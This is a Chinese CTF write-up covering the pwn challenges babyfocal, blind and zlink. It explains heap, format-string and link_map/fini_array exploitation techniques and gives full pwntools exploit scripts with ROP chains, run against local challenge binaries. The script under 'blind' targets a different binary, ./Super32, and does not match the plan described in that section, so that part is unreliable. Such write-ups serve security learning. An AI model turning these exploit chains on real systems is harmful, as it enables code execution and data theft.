还是菜如狗。。。
babyfocal 简述 0x10字节的堆溢出,chunk size 任意,没有 show 方法。没开 PIE。
预期解应该是堆喷,但这题可以泄漏地址。
思路 利用堆溢出修改fastbin fd,然后分配chunk到bss上(bss上有size),修改指针和size,实现任意地址写。
然后多次edit在bss上布置fake chunk,free进unsortedbin,爆破_IO_2_1_stdout_从而泄漏libc,改free_hook在bss上orw
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 ''' 0x10字节的堆溢出,chunk size任意 没有 show 方法, ''' from pwn import *libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so" ) context.log_level = "debug" io = process("./baby_focal" ) def add (idx, size) : io.sendlineafter(">> " , str(1 )) io.sendlineafter("index >> " , str(idx)) io.sendlineafter("size >> " , str(size)) def edit (idx, content) : io.sendlineafter(">> " , str(2 )) io.sendlineafter("index >> " , str(idx)) io.sendafter("content >> " , content) def delete (idx) : io.sendlineafter(">> " , str(3 )) io.sendlineafter("index >> " , str(idx)) io.sendlineafter("input your name: " , "jkilopu" ) chunk_base = 0x404060 for i in range(7 ): add(0 , 0x78 ) delete(0 ) add(0 , 0x78 ) add(1 , 0x78 ) delete(1 ) edit(0 , b'a' * 0x78 + p64(0x81 ) + p64(chunk_base)) add(2 , 0x78 ) add(3 , 0x78 ) edit(3 , p64(chunk_base) + p64(0x11111111 ) + b'\n' ) edit(1 , p64(chunk_base) + p64(0x11111111 ) + p64(chunk_base + 0x10 + 0x10 ) + p64(0x91 ) + b'b' * 0x80 + p64(0xdeadbeef ) + p64(0x21 ) + b'c' * 0x10 + p64(0xdeadbeef ) + p64(0x21 ) + b'\n' ) for i in range(7 ): add(3 , 0x88 ) delete(3 ) delete(1 ) edit(0 , p64(chunk_base) + p64(0x11111111 ) + p64(chunk_base + 0x20 ) + p64(2 ) + b'\n' ) edit(1 , p16(0xc6a0 )) edit(0 , p64(chunk_base) + p64(0x11111111 ) + p64(chunk_base + 0x28 ) + p64(8 ) + b'\n' ) edit(1 , p64(0x8 * 4 + 1 )) edit(2 , p64(0xFBAD1887 ) + p64(0 ) * 3 + p8(0x00 )) io.recv(8 ) libc.address = u64(io.recv(8 )) - 0x1eb980 print("!!!!!!!!!!!!!!!! libc.address = " + hex(libc.address)) rdx_rdi_call = libc.address + 0x154930 rsp_rdx_ret = libc.address + 0x580DD edit(0 , p64(chunk_base) + p64(0x11111111 ) + p64(libc.symbols["__free_hook" ]) + p64(8 ) + b'\n' ) edit(1 , p64(rdx_rdi_call)) p_rdi = libc.address + 0x26b72 p_rsi = libc.address + 0x27529 pp_rdx = libc.address + 0x162866 flag_str_addr = chunk_base + 0x28 orw_payload = p64(p_rdi) * 2 + p64(flag_str_addr) + p64(p_rsi) + p64(0 ) + p64(libc.symbols["open" ]) orw_payload += p64(p_rdi) + p64(3 ) + p64(p_rsi) + p64(chunk_base + 0x200 ) + p64(pp_rdx) + p64(0x40 ) + p64(0x0 ) + p64(libc.symbols["read" ]) orw_payload += p64(p_rdi) + p64(1 ) + p64(p_rsi) + p64(chunk_base + 0x200 ) + p64(pp_rdx) + p64(0x40 ) + p64(0x0 ) + p64(libc.symbols["write" ]) edit(0 , ((p64(chunk_base) + p64(chunk_base)) * 2 + p64(rsp_rdx_ret) + b"flag.txt\x00" ).ljust(0xa0 , b'\x00' ) + p64(chunk_base + 0xa8 ) + orw_payload + b'\n' ) delete(0 ) ''' [*] Switching to interactive mode [DEBUG] Received 0x4d bytes: 00000000 66 72 65 65 3a 20 5b 30 78 36 30 5d 0a 66 6c 61 │free│: [0│x60]│·fla│ 00000010 67 7b 62 36 37 37 35 33 30 37 2d 32 66 63 66 2d │g{b6│7753│07-2│fcf-│ 00000020 34 64 34 37 2d 61 66 32 39 2d 64 31 30 65 33 30 │4d47│-af2│9-d1│0e30│ 00000030 35 65 30 33 63 65 7d 0a 00 00 00 00 00 00 00 00 │5e03│ce}·│····│····│ 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│·│ 0000004d free: [0x60] flag{b6775307-2fcf-4d47-af29-d10e305e03ce} \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive ''' io.interactive()
blind 这题把我看傻了。
简述 分两个阶段,利用格式化字符串漏洞和栈溢出。程序开头就 close(1)
关闭了标准输出,因此没办法泄漏地址。
开头格式化字符串不知道怎么利用,一开始我想着把栈上的局部变量覆盖为 0,但一直找不到指针;然后想多次利用 %$n,行不通。(一个发现是 printf
的输出长度和 %$n 跳过参数的个数都是有限的,失败的话可以看看 errno)。
赛后 看了别人的 writeup,只放了个 exp,研究了一下动态链接器的工作流程,总算弄明白了。(但 libc 该怎么猜啊)
调试 在 main 函数的 call printf 处下断点,看看此时的栈:
pwndbg> stack 30
00:0000│ rsp 0x7fffffffdc30 —▸ 0x7fffffffdd30 ◂— 0x1 01:0008│ 0x7fffffffdc38 ◂— 0x400000000 02:0010│ rbp 0x7fffffffdc40 ◂— 0x0 03:0018│ 0x7fffffffdc48 —▸ 0x7ffff7de70b3 (__libc_start_main+243) ◂— mov edi, eax 04:0020│ 0x7fffffffdc50 —▸ 0x7ffff7ffc5c0 (_rtld_global_ro) ◂— 0x5081200000000 05:0028│ 0x7fffffffdc58 —▸ 0x7fffffffdd38 —▸ 0x7fffffffe0fd ◂— ‘./blind’ 06:0030│ 0x7fffffffdc60 ◂— 0x100000000 07:0038│ 0x7fffffffdc68 —▸ 0x400935 ◂— push rbp 08:0040│ 0x7fffffffdc70 —▸ 0x4009e0 ◂— push r15 09:0048│ 0x7fffffffdc78 ◂— 0x42f0262f13833962 0a:0050│ 0x7fffffffdc80 —▸ 0x400700 ◂— xor ebp, ebp 0b:0058│ 0x7fffffffdc88 —▸ 0x7fffffffdd30 ◂— 0x1 0c:0060│ 0x7fffffffdc90 ◂— 0x0 0d:0068│ 0x7fffffffdc98 ◂— 0x0 0e:0070│ 0x7fffffffdca0 ◂— 0xbd0fd9d0ab233962 0f:0078│ 0x7fffffffdca8 ◂— 0xbd0fc993f34d3962 10:0080│ 0x7fffffffdcb0 ◂— 0x0 … ↓ 2 skipped 13:0098│ 0x7fffffffdcc8 ◂— 0x1 14:00a0│ 0x7fffffffdcd0 —▸ 0x7fffffffdd38 —▸ 0x7fffffffe0fd ◂— ‘./blind’ 15:00a8│ 0x7fffffffdcd8 —▸ 0x7fffffffdd48 —▸ 0x7fffffffe140 ◂— ‘SHELL=/bin/bash’ 16:00b0│ 0x7fffffffdce0 —▸ 0x7ffff7ffe190 ◂— 0x0 17:00b8│ 0x7fffffffdce8 ◂— 0x0 18:00c0│ 0x7fffffffdcf0 ◂— 0x0 19:00c8│ 0x7fffffffdcf8 —▸ 0x400700 ◂— xor ebp, ebp 1a:00d0│ 0x7fffffffdd00 —▸ 0x7fffffffdd30 ◂— 0x1 1b:00d8│ 0x7fffffffdd08 ◂— 0x0 1c:00e0│ 0x7fffffffdd10 ◂— 0x0 1d:00e8│ 0x7fffffffdd18 —▸ 0x400729 ◂— hlt
可以推测,0x7fffffffdc48 之后的空间是调用 main 函数前的被调用函数的栈帧。
利用 printf 的 %n,可以向这个栈帧上的地址处赋值 。问题是哪些指针是有用的呢?
ELF 加载 回忆一下 linux ELF 的加载流程:操作系统先将动态链接器映射到内存空间,然后执行流跳转到动态链接器的 _start
,其 x86_64 的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 /* Initial entry point code for the dynamic linker. The C function `_dl_start' is the real entry point; its return value is the user program's entry point. */ #define RTLD_START asm ("\n\ .text\n\ ▸ .align 16\n\ .globl _start\n\ .globl _dl_start_user\n\ _start:\n\ ▸ movq %rsp, %rdi\n\ ▸ call _dl_start\n\ _dl_start_user:\n\ ▸ # Save the user entry point address in %r12.\n\ ▸ movq %rax, %r12\n\ ▸ # See if we were run as a command with the executable file\n\ ▸ # name as an extra leading argument.\n\ ▸ movl _dl_skip_args(%rip), %eax\n\ ▸ # Pop the original argument count.\n\ ▸ popq %rdx\n\ ▸ # Adjust the stack pointer to skip _dl_skip_args words.\n\ ▸ leaq (%rsp,%rax,8), %rsp\n\ ▸ # Subtract _dl_skip_args from argc.\n\ ▸ subl %eax, %edx\n\ ▸ # Push argc back on the stack.\n\ ▸ pushq %rdx\n\ ▸ # Call _dl_init (struct link_map *main_map, int argc, char **argv, char **env)\n\ ▸ # argc -> rsi\n\ ▸ movq %rdx, %rsi\n\ ▸ # Save %rsp value in %r13.\n\ ▸ movq %rsp, %r13\n\ ▸ # And align stack for the _dl_init call. \n\ ▸ andq $-16, %rsp\n\ ▸ # _dl_loaded -> rdi\n\ ▸ movq _rtld_local(%rip), %rdi\n\ ▸ # env -> rcx\n\ ▸ leaq 16(%r13,%rdx,8), %rcx\n\ ▸ # argv -> rdx\n\ ▸ leaq 8(%r13), %rdx\n\ ▸ # Clear %rbp to mark outermost frame obviously even for constructors.\n\ ▸ xorl %ebp, %ebp\n\ ▸ # Call the function to run the initializers.\n\ ▸ call _dl_init\n\ ▸ # Pass our finalizer function to the user in %rdx, as per ELF ABI.\n\ ▸ leaq _dl_fini(%rip), %rdx\n\ ▸ # And make sure %rsp points to argc stored on the stack.\n\ ▸ movq %r13, %rsp\n\ ▸ # Jump to the user's entry point.\n\ ▸ jmp *%r12\n\ .previous\n\ ");
start
先调用 _dl_start
,它会将用户程序加载到内存空间,并返回用户程序的入口点。然后调用 _dl_init
,其函数原型如下:
1 void _dl_init (struct link_map *main_map, int argc, char **argv, char **env);
_dl_init
会调用 .init_array 中的函数指针,然后调用一些构造器(应该是 C++ 才会用到)。但这不是我们关注的重点。
_dl_init
的第一个参数是 main_map,且函数内部多次使用了这个变量。 那么 main_map 的地址可能就会留在栈帧上 。
link_map 调试时发现了一个有趣的地址 0x7ffff7ffe190:看看 vmmap,发现它在动态链接器分配空间的下方:
0x7ffff7fcf000 0x7ffff7fd0000 r–p 1000 0 /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7fd0000 0x7ffff7ff3000 r-xp 23000 1000 /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ff3000 0x7ffff7ffb000 r–p 8000 24000 /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ffc000 0x7ffff7ffd000 r–p 1000 2c000 /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2d000 /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
实际上 0x7ffff7ffe000 ~ 0x7ffff7fff000 是动态链接器使用的 heap 空间。据此猜测 0x7ffff7ffe190 可能就是 main_map 的地址。
在 gdb 中打印其部分结构如下:
pwndbg> p *(struct link_map *)0x00007ffff7ffe190 $1 = { l_addr = 0, l_name = 0x7ffff7ffe730 “”, l_ld = 0x600e28, l_next = 0x7ffff7ffe740, l_prev = 0x0, l_real = 0x7ffff7ffe190, l_ns = 0, l_libname = 0x7ffff7ffe718,
…
}
也就是说我们可以修改其 l_addr 成员的值,其含义如下:
也就是说 l_addr 的值是 PIE 地址。那么该怎么利用呢?
_dl_fini 我们知道 exit
会调用 _dl_fini
,而 _dl_fini
会调用 .fini_array 中的函数指针,对应源代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 ... if (l->l_info[DT_FINI_ARRAY] != NULL ){ ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0 ) ((fini_t ) array [i]) (); } ...
计算 .fini.array 的地址时使用 l_addr 加上 ELF 中 .fini.array 的偏移。
利用 经过上述分析可以得出下面的利用方案:利用格式化字符串漏洞修改 main_map 的 l_addr 成员,使 _dl_fini
中计算 的 .fini.array 地址指向 fake .fini.array,从而控制程序的执行流程。
下一个问题是如何 getshell。前面提到过本题不能泄露地址,因而不能覆盖 got 表为 libc 中的 system 函数。我偶然中发现了一个比较 tricky 但又非常好用的技巧,可以在 No PIE、got 表可写的情况下 getshell。放在下面的资料中了。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import *libc = ELF("./libc-2.32.so" ) io = process("./Super32" ) def encode (code) : io.sendafter(">> " , '1' ) io.sendlineafter("Plz input ur code:" , code) def decode_exist () : io.sendafter(">> " , '2' ) io.sendafter("1.Get code from encode list.\n2.Input ur code." , '1' ) def decode_input (code) : io.sendafter(">> " , '2' ) io.sendafter("1.Get code from encode list.\n2.Input ur code." , '2' ) io.sendlineafter("Plz input ur code:" , code) def show () : io.sendafter(">> " , '3' ) def delete () : io.sendafter(">> " , '4' ) encode('N' * 40 ) decode_exist() delete() encode('N' * 120 ) decode_exist() delete() decode_input("AA" ) delete() encode('' ) show() io.recvuntil("1." ) heap_addr = u64(io.recvuntil('\n' , drop=True ).ljust(8 , b'\x00' )) << 12 print("heap_addr = " + hex(heap_addr)) decode_exist() delete() for i in range(8 ): decode_input('B' * 0xe0 ) encode('C' * 90 ) for i in range(8 ): delete() decode_exist() decode_exist() delete() encode(b'1' * 0x98 + p64(0x91 )) decode_exist() for i in range(0x38 ): encode('D' * 70 ) encode('K' * 80 ) encode('ZZ' ) delete() encode('AA' ) show() io.recvuntil("59." ) io.recvuntil("ctf!" ) libc.address = u64(io.recvuntil('\n' , drop=True ).ljust(8 , b'\x00' )) - 0x1e3ca0 - 0x600 print("libc.address = " + hex(libc.address)) ld_addr = libc.address + 0x1ec000 print("ld_addr = " + hex(ld_addr)) encode(b'1' * 0x20 + p64((libc.symbols["__free_hook" ] - 0x80 ) ^ (heap_addr >> 12 ))) show() io.recvuntil("60." ) payload_1_key = io.recvuntil("tf!" , drop=True ) print(b"payload_1_key = " + payload_1_key) decode_exist() delete() one_gadget_addr = libc.address + 0xdf54f encode(b'2' * 0x70 + p64(one_gadget_addr)) show() io.recvuntil("60." ) payload_2_key = io.recvuntil("tf!" , drop=True ) print(b"payload_2_key = " + payload_2_key) decode_exist() delete() decode_exist() delete() encode('G' * 80 ) decode_input(payload_1_key) encode('G' * 70 ) decode_input(payload_2_key) delete() io.interactive()
资料
Understanding the Loader - Part1 - How does an executable get loaded to memory? 较详细地介绍了动态链接器加载用户程序的过程。
Finding Function’s Load Address 学到了如何找到用户程序的 link_map。
static 和 attribute(“hidden”) 的区别
From read@GLIBC to RCE in X86_64
阅读 glibc 源码 宏 一大堆奇奇怪怪的宏,还不知道怎么搞清楚哪些宏定义了哪些没有。
最烦的是 GL
宏,还有 SHARED
。(shared 大概是作为动态库编译时才会定义吧)
zlink 比赛时我居然忘记先搞清楚远程 libc 的版本,一直当成 2.31 来做。结束后看 writeup 才知道远程是 2.23。真是蠢到爆了。
简述 漏洞为 off-by-null,保护全开,seccomp 禁了 execve。
add 的 size 范围为 [0x20, 0x70]。
有两个 gift 函数:一个在 __free_hook
上方布置 0x7f,另一个先后 malloc 0xf8、0x500,限制了使用次数。(show 也限制了)
利用 2.31 的利用我没想出来(主要是 tcache 和向前合并时的检查很烦)。
2.23 下,联系两个 gift 就可以想出利用方法:向前合并形成 overlap,然后分配 fastbin chunk 到 __free_hook
处,最后 在 __free_hook
附近 ROP。(也可以调用 mprotect
,布置 shellcode)
技巧 因为 add 的 size 限制,ROP 链不能太长,下面的方法可以缩短 ROP 链:
setcontext 时就把参数布置好
使用 sendfile
替代 read 和 write。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *libc = ELF("./libc-2.23.so" ) io = process("./zlink" ) def add (idx, size, content) : io.sendafter("Your choice :" , '1' ) io.sendafter("Index:" , str(idx)) io.sendafter("Size of Heap : " , str(size)) io.sendafter("Content?:" , content) def delete (idx) : io.sendafter("Your choice :" , '2' ) io.sendafter("Index:" , str(idx)) def gift_2_malloc () : io.sendafter("Your choice :" , '4' ) def show (idx) : io.sendafter("Your choice :" , '5' ) io.sendafter("Index :" , str(idx)) def gift_fastbin (idx, content) : io.sendafter("Your choice :" , '6' ) io.sendafter("Index:" , str(idx)) io.sendafter("Content?:" , content) add(0 , 0x28 , "aaaa" ) add(1 , 0x20 , "bbbb" ) add(2 , 0x68 , "cccc" ) delete(0 ) delete(2 ) gift_2_malloc() add(2 , 0x68 , "\x01" ) show(2 ) io.recvuntil("Content : " ) libc.address = u64(io.recvuntil('\n' , drop=True ).ljust(8 , b'\x00' )) - 0x3c4b01 print("libc.address = " + hex(libc.address)) delete(2 ) add(10 , 0x68 , b'd' * 0x60 + p8(0x30 + 0x30 + 0x70 )) delete(14 ) delete(10 ) add(0 , 0x70 , b'e' * 0x50 + p64(0xdeadbeef ) + p64(0x71 ) + p64(libc.symbols["__free_hook" ] - 0x18 )) p_rdi = libc.address + 0x21112 p_rsi = libc.address + 0x202f8 p_rdx = libc.address + 0x1b92 p_rcx = libc.address + 0x119563 orw_payload = p64(libc.symbols["open" ]) orw_payload += p64(p_rdi) + p64(1 ) + p64(p_rsi) + p64(3 ) + p64(p_rdx) + p64(0 ) + p64(libc.symbols["sendfile" ]) print("orw_payload len = " + hex(len(orw_payload))) gift_fastbin(0 , b'f' * 0x10 ) add(5 , 0x68 , p64(0xdeadbeef ) * 2 ) add(6 , 0x68 , p64(0xdeadbeef ) + p64(libc.symbols["setcontext" ] + 53 ) + orw_payload + b"./flag.txt" .ljust(0x10 , b'\x00' )) ret = libc.address + 0x937 add(7 , 0x50 , p64(0xdeadbeef )) add(8 , 0x70 , (p64(0xdeadbeef ) + p64(libc.symbols["__free_hook" ] + 0x8 + len(orw_payload)) + p64(0 )).ljust(0xa0 - 0x60 ) + p64(libc.symbols["__free_hook" ] + 0x8 ) + p64(ret)) delete(7 ) io.interactive()